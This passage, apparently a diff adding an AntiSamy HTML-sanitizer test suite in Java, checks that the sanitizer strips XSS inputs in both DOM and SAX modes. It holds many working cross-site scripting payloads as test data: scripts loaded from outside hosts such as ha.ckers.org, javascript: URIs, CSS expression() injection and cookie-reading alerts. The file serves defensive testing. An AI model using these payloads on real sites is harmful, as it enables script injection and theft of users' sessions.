+ "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",
+ };
+
+ private AntiSamy as = new AntiSamy();
+ private TestPolicy policy = null;
+
+
+ @Before
+ public void setUp() throws Exception {
+
+ /*
+ * Load the policy. You may have to change the path to find the Policy
+ * file for your environment.
+ */
+
+ //get Policy instance from a URL.
+ URL url = getClass().getResource("/antisamy.xml");
+ policy = TestPolicy.getInstance(url);
+ }
+
+
+ @Test
+ public void SAX() {
+ try {
+ CleanResults cr = as.scan("<b>test</i></b>test thsidfshidf<script>sdfsdf", policy, AntiSamy.SAX);
+ assertTrue(cr != null && cr.getCleanXMLDocumentFragment() == null && cr.getCleanHTML().length() > 0);
+ } catch (ScanException e) {
+ e.printStackTrace();
+ } catch (PolicyException e) {
+ e.printStackTrace();
+ }
+ }
+
+ /*
+ * Test basic XSS cases.
+ */
+
+ @Test
+ public void scriptAttacks() {
+
+ try {
+
+ assertTrue(!as.scan("test<script>alert(document.cookie)</script>", policy, AntiSamy.DOM).getCleanHTML().contains("script"));
+ assertTrue(!as.scan("test<script>alert(document.cookie)</script>", policy, AntiSamy.SAX).getCleanHTML().contains("script"));
+
+ assertTrue(!as.scan("<<<><<script src=http://fake-evil.ru/test.js>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<<<><<script src=http://fake-evil.ru/test.js>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<script<script src=http://fake-evil.ru/test.js>>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<script<script src=http://fake-evil.ru/test.js>>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", policy, AntiSamy.DOM).getCleanHTML().contains("onload"));
+ assertTrue(!as.scan("<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", policy, AntiSamy.SAX).getCleanHTML().contains("onload"));
+
+ assertTrue(!as.scan("<BODY ONLOAD=alert('XSS')>", policy, AntiSamy.DOM).getCleanHTML().contains("alert"));
+ assertTrue(!as.scan("<BODY ONLOAD=alert('XSS')>", policy, AntiSamy.SAX).getCleanHTML().contains("alert"));
+
+ assertTrue(!as.scan("<iframe src=http://ha.ckers.org/scriptlet.html <", policy, AntiSamy.DOM).getCleanHTML().contains("<iframe"));
+ assertTrue(!as.scan("<iframe src=http://ha.ckers.org/scriptlet.html <", policy, AntiSamy.SAX).getCleanHTML().contains("<iframe"));
+
+ assertTrue(!as.scan("<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("src"));
+ assertTrue(!as.scan("<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("src"));
+
+ as.scan("<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>", policy, AntiSamy.DOM);
+ as.scan("<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>", policy, AntiSamy.SAX);
+
+ } catch (Exception e) {
+ fail("Caught exception in testScriptAttack(): " + e.getMessage());
+ }
+
+ }
+
+ @Test
+ public void imgAttacks() {
+
+ try {
+
+ assertTrue(as.scan("<img src=\"http://www.myspace.com/img.gif\"/>", policy, AntiSamy.DOM).getCleanHTML().contains("<img"));
+ assertTrue(as.scan("<img src=\"http://www.myspace.com/img.gif\"/>", policy, AntiSamy.SAX).getCleanHTML().contains("<img"));
+
+ assertTrue(!as.scan("<img src=javascript:alert(document.cookie)>", policy, AntiSamy.DOM).getCleanHTML().contains("<img"));
+ assertTrue(!as.scan("<img src=javascript:alert(document.cookie)>", policy, AntiSamy.SAX).getCleanHTML().contains("<img"));
+
+ assertTrue(!as.scan("<IMG SRC=javascript:alert('XSS')>", policy, AntiSamy.DOM).getCleanHTML().contains("<img"));
+ assertTrue(!as.scan("<IMG SRC=javascript:alert('XSS')>", policy, AntiSamy.SAX)
+ .getCleanHTML().contains("<img"));
+
+ assertTrue(!as
+ .scan(
+ "<IMG SRC='javascript:alert('XSS')'>",
+ policy, AntiSamy.DOM).getCleanHTML().contains("<img"));
+ assertTrue(!as
+ .scan(
+ "<IMG SRC='javascript:alert('XSS')'>",
+ policy, AntiSamy.SAX).getCleanHTML().contains("<img"));
+
+ assertTrue(!as.scan("<IMG SRC=\"jav
ascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("alert"));
+ assertTrue(!as.scan("<IMG SRC=\"jav
ascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("alert"));
+
+ String s = as
+ .scan(
+ "<IMG SRC=javascript:alert('XSS')>",
+ policy, AntiSamy.DOM).getCleanHTML();
+ assertTrue(s.length() == 0 || s.contains("&"));
+ s = as
+ .scan(
+ "<IMG SRC=javascript:alert('XSS')>",
+ policy, AntiSamy.SAX).getCleanHTML();
+ assertTrue(s.length() == 0 || s.contains("&"));
+
+ as.scan("<IMG SRC=javascript:alert('XSS')>", policy, AntiSamy.DOM);
+ as.scan("<IMG SRC=javascript:alert('XSS')>", policy, AntiSamy.SAX);
+
+ assertTrue(!as.scan("<IMG SRC=\"javascript:alert('XSS')\"", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<IMG SRC=\"javascript:alert('XSS')\"", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<IMG LOWSRC=\"javascript:alert('XSS')\">", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<IMG LOWSRC=\"javascript:alert('XSS')\">", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<BGSOUND SRC=\"javascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<BGSOUND SRC=\"javascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ fail("Caught exception in testImgSrcAttacks(): " + e.getMessage());
+ }
+ }
+
+ @Test
+ public void hrefAttacks() {
+
+ try {
+
+ assertTrue(!as.scan("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("href"));
+ assertTrue(!as.scan("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("href"));
+
+ assertTrue(!as.scan("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", policy, AntiSamy.DOM).getCleanHTML().contains("href"));
+ assertTrue(!as.scan("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", policy, AntiSamy.SAX).getCleanHTML().contains("href"));
+
+ assertTrue(!as.scan("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", policy, AntiSamy.DOM).getCleanHTML().contains("ha.ckers.org"));
+ assertTrue(!as.scan("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", policy, AntiSamy.SAX).getCleanHTML().contains("ha.ckers.org"));
+
+ assertTrue(!as.scan("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", policy, AntiSamy.DOM).getCleanHTML().contains("ha.ckers.org"));
+ assertTrue(!as.scan("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", policy, AntiSamy.SAX).getCleanHTML().contains("ha.ckers.org"));
+
+ assertTrue(!as.scan("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<IMG SRC='vbscript:msgbox(\"XSS\")'>", policy, AntiSamy.DOM).getCleanHTML().contains("vbscript"));
+ assertTrue(!as.scan("<IMG SRC='vbscript:msgbox(\"XSS\")'>", policy, AntiSamy.SAX).getCleanHTML().contains("vbscript"));
+
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("<meta"));
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("<meta"));
+
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", policy, AntiSamy.DOM).getCleanHTML().contains("<meta"));
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", policy, AntiSamy.SAX).getCleanHTML().contains("<meta"));
+
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", policy, AntiSamy.DOM).getCleanHTML().contains("<meta"));
+ assertTrue(!as.scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", policy, AntiSamy.SAX).getCleanHTML().contains("<meta"));
+
+ assertTrue(!as.scan("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", policy, AntiSamy.DOM).getCleanHTML().contains("iframe"));
+ assertTrue(!as.scan("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", policy, AntiSamy.SAX).getCleanHTML().contains("iframe"));
+
+ assertTrue(!as.scan("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<TABLE BACKGROUND=\"javascript:alert('XSS')\">", policy, AntiSamy.DOM).getCleanHTML().contains("background"));
+ assertTrue(!as.scan("<TABLE BACKGROUND=\"javascript:alert('XSS')\">", policy, AntiSamy.SAX).getCleanHTML().contains("background"));
+
+ assertTrue(!as.scan("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", policy, AntiSamy.DOM).getCleanHTML().contains("background"));
+ assertTrue(!as.scan("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", policy, AntiSamy.SAX).getCleanHTML().contains("background"));
+
+ assertTrue(!as.scan("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<DIV STYLE=\"width: expression(alert('XSS'));\">", policy, AntiSamy.DOM).getCleanHTML().contains("alert"));
+ assertTrue(!as.scan("<DIV STYLE=\"width: expression(alert('XSS'));\">", policy, AntiSamy.SAX).getCleanHTML().contains("alert"));
+
+ assertTrue(!as.scan("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", policy, AntiSamy.DOM).getCleanHTML().contains("alert"));
+ assertTrue(!as.scan("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", policy, AntiSamy.SAX).getCleanHTML().contains("alert"));
+
+ assertTrue(!as.scan("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", policy, AntiSamy.DOM).getCleanHTML().contains("ript:alert"));
+ assertTrue(!as.scan("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", policy, AntiSamy.SAX).getCleanHTML().contains("ript:alert"));
+
+ assertTrue(!as.scan("<BASE HREF=\"javascript:alert('XSS');//\">", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<BASE HREF=\"javascript:alert('XSS');//\">", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<BaSe hReF=\"http://arbitrary.com/\">", policy, AntiSamy.DOM).getCleanHTML().contains("<base"));
+ assertTrue(!as.scan("<BaSe hReF=\"http://arbitrary.com/\">", policy, AntiSamy.SAX).getCleanHTML().contains("<base"));
+
+ assertTrue(!as.scan("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", policy, AntiSamy.DOM).getCleanHTML().contains("<object"));
+ assertTrue(!as.scan("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", policy, AntiSamy.SAX).getCleanHTML().contains("<object"));
+
+ assertTrue(!as.scan("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+
+ CleanResults cr = as.scan("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", policy, AntiSamy.SAX);
+ // System.out.println(cr.getErrorMessages().get(0));
+ assertTrue(!cr.getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", policy, AntiSamy.DOM).getCleanHTML().contains("<embed"));
+ assertTrue(!as.scan("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", policy, AntiSamy.SAX).getCleanHTML().contains("<embed"));
+
+ assertTrue(!as
+ .scan(
+ "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>",
+ policy, AntiSamy.DOM).getCleanHTML().contains("<embed"));
+ assertTrue(!as
+ .scan(
+ "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>",
+ policy, AntiSamy.SAX).getCleanHTML().contains("<embed"));
+
+ assertTrue(!as.scan("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as.scan("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.DOM).getCleanHTML().contains("script"));
+ assertTrue(!as.scan("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy, AntiSamy.SAX).getCleanHTML().contains("script"));
+
+ assertTrue(!as.scan("<SCRIPT SRC=http://ha.ckers.org/xss.js", policy, AntiSamy.DOM).getCleanHTML().contains("<script"));
+ assertTrue(!as.scan("<SCRIPT SRC=http://ha.ckers.org/xss.js", policy, AntiSamy.SAX).getCleanHTML().contains("<script"));
+
+ assertTrue(!as
+ .scan(
+ "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>",
+ policy, AntiSamy.DOM).getCleanHTML().contains("style"));
+ assertTrue(!as
+ .scan(
+ "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>",
+ policy, AntiSamy.SAX).getCleanHTML().contains("style"));
+
+ assertTrue(!as.scan("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>", policy, AntiSamy.DOM).getCleanHTML().contains("aim.exe"));
+ assertTrue(!as.scan("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>", policy, AntiSamy.SAX)
+ .getCleanHTML().contains("aim.exe"));
+
+ assertTrue(!as.scan("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->", policy, AntiSamy.DOM).getCleanHTML().contains("javascript"));
+ assertTrue(!as.scan("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->", policy, AntiSamy.SAX).getCleanHTML().contains("javascript"));
+
+ assertTrue(!as.scan("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">", policy, AntiSamy.DOM).getCleanHTML().contains("document"));
+ assertTrue(!as.scan("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">", policy, AntiSamy.SAX).getCleanHTML().contains("document"));
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ fail("Caught exception in testHrefSrcAttacks(): " + e.getMessage());
+ }
+ }
+
+ /*
+ * Test CSS protections.
+ */
+
+ @Test
+ public void cssAttacks() {
+
+ try {
+
+ assertTrue(!as.scan("<div style=\"position:absolute\">", policy, AntiSamy.DOM).getCleanHTML().contains("position"));
+ assertTrue(!as.scan("<div style=\"position:absolute\">", policy, AntiSamy.SAX).getCleanHTML().contains("position"));
+
+ assertTrue(!as.scan("<style>b { position:absolute }</style>", policy, AntiSamy.DOM).getCleanHTML().contains("position"));
+ assertTrue(!as.scan("<style>b { position:absolute }</style>", policy, AntiSamy.SAX).getCleanHTML().contains("position"));
+
+ assertTrue(!as.scan("<div style=\"z-index:25\">test</div>", policy, AntiSamy.DOM).getCleanHTML().contains("z-index"));
+ assertTrue(!as.scan("<div style=\"z-index:25\">test</div>", policy, AntiSamy.SAX).getCleanHTML().contains("z-index"));
+
+ assertTrue(!as.scan("<style>z-index:25</style>", policy, AntiSamy.DOM).getCleanHTML().contains("z-index"));
+ assertTrue(!as.scan("<style>z-index:25</style>", policy, AntiSamy.SAX).getCleanHTML().contains("z-index"));
+
+ } catch (Exception e) {
+ fail("Caught exception in testCssAttacks(): " + e.getMessage());
+ }
+ }
+
+ /*
+ * Test a bunch of strings that have tweaked the XML parsing capabilities of
+ * NekoHTML.
+ */
+ @Test
+ public void IllegalXML() {
+
+ for (String BASE64_BAD_XML_STRING : BASE64_BAD_XML_STRINGS) {
+
+ try {
+
+ String testStr = new String(Base64.decodeBase64(BASE64_BAD_XML_STRING.getBytes()));
+ as.scan(testStr, policy, AntiSamy.DOM);
+ as.scan(testStr, policy, AntiSamy.SAX);
+
+ } catch (ScanException ex) {
+ // still success!
+
+ } catch (Throwable ex) {
+ ex.printStackTrace();
+ fail("Caught unexpected exception in testIllegalXML(): " + ex.getMessage());
+ }
+ }
+
+ // This fails due to a bug in NekoHTML
+ // try {
+ // assertTrue (
+ // as.scan("<a . href=\"http://www.test.com\">",policy, AntiSamy.DOM).getCleanHTML().indexOf("href")
+ // != -1 );
+ // } catch (Exception e) {
+ // e.printStackTrace();
+ // fail("Couldn't parse malformed HTML: " + e.getMessage());
+ // }
+
+ // This fails due to a bug in NekoHTML
+ // try {
+ // assertTrue (
+ // as.scan("<a - href=\"http://www.test.com\">",policy, AntiSamy.DOM).getCleanHTML().indexOf("href")
+ // != -1 );
+ // } catch (Exception e) {
+ // e.printStackTrace();
+ // fail("Couldn't parse malformed HTML: " + e.getMessage());
+ // }
+
+ try {
+ assertTrue(as.scan("<style>", policy, AntiSamy.DOM) != null);
+ } catch (Exception e) {
+ e.printStackTrace();
+ fail("Couldn't parse malformed HTML: " + e.getMessage());
+ }
+ }
+
+ @Test
+ public void issue12() throws ScanException, PolicyException {
+
+ /*
+ * issues 12 (and 36, which was similar). empty tags cause display
+ * problems/"formjacking"
+ */
+
+
+ Pattern p = Pattern.compile(".*<strong(\\s*)/>.*");
+ String s1 = as.scan("<br ><strong></strong><a>hello world</a><b /><i/><hr>", policy, AntiSamy.DOM).getCleanHTML();
+ String s2 = as.scan("<br ><strong></strong><a>hello world</a><b /><i/><hr>", policy, AntiSamy.SAX).getCleanHTML();
+
+ assertFalse(p.matcher(s1).matches());
+
+ p = Pattern.compile(".*<b(\\s*)/>.*");
+ assertFalse(p.matcher(s1).matches());
+ assertFalse(p.matcher(s2).matches());
+
+ p = Pattern.compile(".*<i(\\s*)/>.*");
+ assertFalse(p.matcher(s1).matches());
+ assertFalse(p.matcher(s2).matches());
+
+ assertTrue(s1.contains("<hr />") || s1.contains("<hr/>"));
+ assertTrue(s2.contains("<hr />") || s2.contains("<hr/>"));
+ }
+
+ @Test
+ public void issue20() throws ScanException, PolicyException {
+ String s = as.scan("<b><i>Some Text</b></i>", policy, AntiSamy.DOM).getCleanHTML();
+ assertTrue(!s.contains("<i />"));
+
+ s = as.scan("<b><i>Some Text</b></i>", policy, AntiSamy.SAX).getCleanHTML();
+ assertTrue(!s.contains("<i />"));
+ }
+
+ @Test
+ public void issue25() throws ScanException, PolicyException {
+ String s = "<div style=\"margin: -5em\">Test</div>";
+ String expected = "<div style=\"\">Test</div>";
+
+ String crDom = as.scan(s, policy, AntiSamy.DOM).getCleanHTML();
+ assertEquals(crDom, expected);
+ String crSax = as.scan(s, policy, AntiSamy.SAX).getCleanHTML();
+ assertEquals(crSax, expected);
+ }
+
+
+ @Test
+ public void issue28() throws ScanException, PolicyException {
+ String s1 = as.scan("<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">Test</div>", policy, AntiSamy.DOM).getCleanHTML();
+ String s2 = as.scan("<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">Test</div>", policy, AntiSamy.SAX).getCleanHTML();
+ assertTrue(s1.contains("font-family"));
+ assertTrue(s2.contains("font-family"));
+ }
+
+ @Test
+ public void issue29() throws ScanException, PolicyException {
+ /* issue #29 - missing quotes around properties with spaces */
+ String s = "<style type=\"text/css\"><![CDATA[P {\n font-family: \"Arial Unicode MS\";\n}\n]]></style>";
+ CleanResults cr = as.scan(s, policy, AntiSamy.DOM);
+ assertEquals(s, cr.getCleanHTML());
+ }
+
+ @Test
+ public void issue30() throws ScanException, PolicyException {
+
